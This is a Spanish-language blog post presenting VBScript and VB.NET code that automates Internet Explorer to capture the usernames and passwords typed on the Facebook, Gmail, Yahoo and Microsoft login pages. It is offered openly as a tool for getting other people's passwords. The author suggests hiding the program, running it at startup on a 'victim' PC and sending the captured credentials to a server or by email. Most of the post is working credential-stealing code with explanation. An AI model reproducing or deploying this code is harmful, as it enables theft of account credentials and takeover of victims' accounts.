domingo, 25 de diciembre de 2016

Metodo Averiguar Contraseñas De Facebook, Gmail, Yahoo y Hotmail

Esta ves vengo con un método para averiguar las claves de diferentes web y creo que funciona en varias no nomas las expuestas aquí.

Hace unas horas expuse este tema en el foro:

http://foro.elhacker.net/scripting/aporte_obtener_nombre_de_usuario_y_contrasena_de_facebook_con_un_simple_script-t462593.0.html

Y se me dio una idea y quise hacer algo mas grande, así que se me ocurrió hacerlo en vb.net, pero primero expliquemos el que expuse en el foro, aclaro no es el mismo ya que lo modifique un poco para que funcionara mas bien.

Primero declaramos las variables

option explicit
dim m,t,u,p,IE

Despues creamos un objecto de InternetExplorer

set IE = CreateObject("InternetExplorer.Application")

En la siguiente linea usamos el comando navigate para visualizar la pagina del facebook

IE.Navigate "https://www.facebook.com/"

Y para visualizar la ventana del Internet Explorer usamos este comando

IE.visible = true

Y creamos un ciclo do while para saber si ya cargo la pagina completamente

Do While IE.ReadyState < 4
Loop

Ahora pasamos el titulo de la ventana de inicio de sesión a la variable m

m = IE.LocationName

En la siguiente linea crearemos un ciclo while para saber si estamos en la ventana de inicio de sesión de facebook y cuando cambie el titulo de la ventana este dejara de ejecutarse.

Dentro de este tomamos el valor de el campo "email" y lo aguardamos en la variable "u" y si este campo logra cambiar su contenido preguntamos con el comando if por su valor y su longitud para después aguardar los cambios nuevos en la variable "u"

while IE.LocationName = m
   t = IE.document.GetElementById("email").value
   if t<>u and len(t)>len(u) then
      u = t
   end if   
 
   t =  IE.document.GetElementById("pass").value
   if t<>p and len(t)>len(p) then
      p = t
   end if 
 
   wscript.sleep 100
wend

Con el campo "pass" pasa lo mismo toma su valor y si cambia su contenido, estos cambios serán guardados en la variable "p"

Y por ultimo imprimimos el contenido con el comando msgbox

msgbox u & "        " & p 


Pero como dije al principio de que se me ocurrió otra idea mas grande, y es utilizar este método pero con diferentes paginas en una sola aplicación.

Pues para eso me programe el siguiente programa en vb.net, un poco mas extenso que el anterior y mejorado aquí el code


Option Explicit On
Public Class Form1
    Dim IE As Object
    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        IE = CreateObject("InternetExplorer.Application")
        IE.visible = True
        Timer1.Interval = 1
        Timer1.Start()
        'Me.Visible = False
    End Sub

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        Select Case IE.LocationName
            Case "Yahoo - Ingreso"
                If InStr(IE.LocationUrl, "https://login.yahoo.com/") <> 0 Then
                    Timer1.Stop()
                    Log.Text = Log.Text & interseptar("Yahoo - Ingreso", "login-username", "login-passwd", "https://login.yahoo.com/")
                End If

            Case "Gmail"
                If InStr(IE.LocationUrl, "https://accounts.google.com/") <> 0 Then
                    Timer1.Stop()
                    Log.Text = Log.Text & interseptar("Gmail", "Email", "Passwd", "https://accounts.google.com/")
                End If
            Case "Facebook - Inicia sesión o regístrate"
                If InStr(IE.LocationUrl, "https://www.facebook.com/") <> 0 Then
                    Timer1.Stop()
                    Log.Text = Log.Text & interseptar("Facebook - Inicia sesión o regístrate", "email", "pass", "https://www.facebook.com/")
                End If
            Case "Iniciar sesión en tu cuenta Microsoft"
                If InStr(IE.LocationUrl, "https://login.live.com/") <> 0 Then
                    Timer1.Stop()
                    Log.Text = Log.Text & interseptar("Iniciar sesión en tu cuenta Microsoft", "i0116", "i0118", "https://login.live.com/")
                End If
        End Select
    End Sub
    Function interseptar(title, idu, idp, url)
        On Error Resume Next
        Dim u, p, t As String

        t = ""
        u = ""
        p = ""

        Do While IE.ReadyState < 4
        Loop
        While IE.LocationName = title
            t = IE.document.GetElementById(idu).value
            If t <> u And Len(t) > Len(u) Then
                u = t
            End If

            t = IE.document.GetElementById(idp).value
            If t <> p And Len(t) > Len(p) Then
                p = t
            End If
            System.Threading.Thread.Sleep(100)
        End While

        Timer1.Start()
        interseptar = url & "------" & u & "------" & p & vbCrLf & vbCrLf

    End Function

End Class 


Con un poco mas de imaginación podemos programar que lo capturado de todo el día lo envié a nuestro servidor o por correo y para eso nuestra aplicación tendría que iniciarse al prender la pc victima y otra cosa, es que esto puede funcionar para diferentes paginas.

Una de las desventajas de este programa son de que a veces no captura las claves pero en fin no todo es perfecto

Link del video donde muestro su uso:
https://www.youtube.com/watch?v=NmbFHN2TG5s

saludos Flamer

No hay comentarios.:

Publicar un comentario